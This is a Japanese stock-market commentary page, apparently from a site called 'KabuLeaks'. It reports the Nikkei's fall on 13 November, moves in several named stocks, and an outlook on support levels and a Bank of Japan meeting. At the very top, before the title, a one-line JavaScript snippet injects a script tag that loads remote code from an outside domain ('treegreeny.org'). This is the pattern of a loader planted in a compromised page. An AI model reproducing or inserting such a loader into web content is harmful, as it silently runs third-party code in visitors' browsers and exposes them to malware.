;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/13 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/13 大引け】

本日の日経平均株価は100円安と8日ぶり反落。欧米株安や上昇ピッチの早さへの警戒感から利益確定売りが優勢も前場に安値を付けた以降は下げ幅を縮小。後場もSQ値、19496.87円を上回る水準での推移となった。業種別では、水産・農林業、食料品、その他製品、小売業などが値上がり率上位に。一方、電気・ガス業、海運業、鉱業、倉庫運輸関連などが値下がり率上位となった。

個別では、前場引け後に決算を発表、予想を上回る上方修正から【6330】東洋エンジニアリングが急伸。岩井コスモ証券が、投資判断「A」と目標株価1,350円を継続した【7821】前田工繊。前日ストップ高を演じた【4736】日本ラッドなどが後場一段高に。また、【8306】三菱UFJフィナンシャル・グループは、日本経済新聞が3半期連続、1000億円規模の自社株買いと報じ急伸する場面があった。一方、16年3月期の通期業績予想を下方修正の【6072】地盤ネットがストップ安売り気配となったほか、前場引け後に決算発表、上振れ着地も出尽くし感から【9435】光通信が売り優勢の展開となった。

日経平均は終値でSQ値の19496.87円を上回り終わったことで、目先の下値支持線として意識されそうだ。週明けここを下回ったとしても200日移動平均線1万9311円にも下値支持線あり。例えこの水準まで下げてきたとしても、年末株高への期待も根強いだけに今週と同じくすぐさま押し目買いが入る展開となる可能性が高いと思われる。また、期待はあまりされていないものの、来週は日銀会合。少なからず常に緩和への期待もあるだけに底堅く、何かポジティブ材料があれば一気に2万を目指す展開も十分にあるとみる。